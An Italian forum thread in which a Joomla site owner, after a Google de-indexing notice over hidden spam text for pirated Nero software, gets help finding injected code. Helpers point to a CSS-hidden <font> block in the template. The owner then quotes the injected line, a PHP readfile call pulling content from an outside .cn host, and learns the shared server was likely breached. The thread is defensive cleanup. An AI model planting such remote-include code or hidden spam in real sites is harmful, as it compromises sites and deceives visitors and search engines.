[Risolto] Rimozione dall'indice di Google

[tasto]

Ho ricevuto questa mail da Google, ma non trovo il codice che mi segnale. Come posso risolvere?
Grazie

Gentile proprietario o webmaster del sito,

Durante l'indicizzazione delle pagine web del tuo sito abbiamo rilevato che alcune di esse utilizzano tecniche non conformi alle nostre norme sulla qualità, consultabili all'indirizzo http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=it. Ciò sembra essere dovuto al fatto che il tuo sito è stato modificato da terzi. Generalmente i responsabili di tale infrazione ottengono accesso a directory non protette e senza restrizioni. Spesso vengono caricati nuovi file o modificati file esistenti che poi risultano nel nostro indice come spam.

Il seguente è un esempio di testo nascosto trovato nella pagina :

Download Free Nero Burner Nero Start Smart Nero 8 Nero Burning Rom Jeff Nero Hardy Nero 7 Nero EXPress Nero Essentials 7 Nero Vision Nero 9 Serial Number Nero 7 Serial Number Nero Serial Number Download Nero EXPress For Free Free Nero EXPress Nero Software Download Nero 5 5 Nero 9 Serial Nero 6 Freeware Nero Burning Rom Nero Trial Version Nero Wolfe Nero Home Page Free Nero Nero 6 Freeware Download Nero Startsmart Nero 6 Ultra Edition Serial Number Nero EXPress 6 Free Nero Burning Rom Nero Dvd Burner Software Free Download Emperor Nero Free Nero 6 Serial Number Nero Update Ahead Nero Free Nero Cd Burner Software Nero 8 Freeware Nero Free Trial Download Nero 6 0 For Free Nero 6 Serial Number Nero 7 Download Sue Nero Free Download Nero Burner Free Nero Burner Nero Burning

Per preservare la qualità del nostro motore di ricerca, abbiamo pianificato di rimuovere temporaneamente dai nostri risultati di ricerca le pagine del sito per almeno 30 giorni.

Saremmo lieti di mantenere le tue pagine nell'indice di Google. Per richiedere la riconsiderazione del sito, correggi o rimuovi tutte le pagine non conformi alle nostre norme sulla qualità (gli esempi forniti non sono esaustivi). Una possibile soluzione consiste nel contattare il supporto tecnico del tuo host web per ricevere assistenza. Per ulteriori informazioni riguardo questioni di sicurezza per i webmaster, visita la pagina http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html (in lingua inglese). Una volta apportate le modifiche richieste, consulta la pagina https://www.google.com/webmasters/tools/reconsideration?hl=it per ulteriori informazioni e per chiedere di riconsiderare il sito.

Cordiali saluti, Il team per la qualità di Ricerca Google

Nota. Se possiedi un account in Strumenti per i Webmaster di Google, puoi verificare l'autenticità di questo messaggio accedendo alla pagina https://www.google.com/webmasters/tools/siteoverview?hl=it e visitando il Centro messaggi.

[maicolstaip]

Ciao tasto,
un link al sito incriminato?

[jeckodevelopment]

Ciao Tasto,
sembrerebbe che il sito sia stato manomesso e farcito a dovere per promuovere software illegale. Come ha detto maicolstaip, se ci dai un link per poter guardare il sito possiamo aiutarti!

[tasto]

omissis

[jeckodevelopment]

Il sito anche dal punto di vista del sorgente della pagina sembra non presentare problemi.
Non è che c'è stata una manomissione del file .htaccess?

[maicolstaip]

Ciao tasto,
guarda la sorgente in homepage, dopo

Codice: [Seleziona]

<font style="position: absolute;overflow: hidden;height: 0;width: 0">
c'è una sfilza di spam da paura.

Controlla l'index.php del tuo template e cancella tutta la parte tra

Codice: [Seleziona]

<font style="position: absolute;overflow: hidden;height: 0;width: 0">
e 

Codice: [Seleziona]

</font>

[jeckodevelopment]

Chiedo umilmente scusa... 

Mi è sfuggito 

[maicolstaip]

Non ti preoccupare,
mica è una gara, l'importante è aiutare tasto a risolvere il suo problema 

[tasto]

non c'è nel sorgente...
per nell'ftp mi sono ritrovato con delle cartelle di altri siti, tipo santiebeati.it ed altri ancora...

[maicolstaip]

Ciao tasto,
controlla allora se c'è un riferimento "strano" subito dopo

Codice: [Seleziona]

<div class="padding">
<div class="main_header"></div>
</div>
sempre nell'index.php del template

[tasto]

tombola
<?php readfile('http://www.joomlaprojects.cn/XXXXX'); ?>.

EDITED: ho cancellato altrimenti qualcuno clicca 

[maicolstaip]

Ok,
controlla tutti i files index.php che hai nel sito ed eventualmente cancella come sopra.
In ogni caso contatta il tuo server perchè quasi sicuramente è stato "bucato" e non dipende da joomla.
Immagino che tu sia su server condiviso...

[tasto]

si adesso lo contatto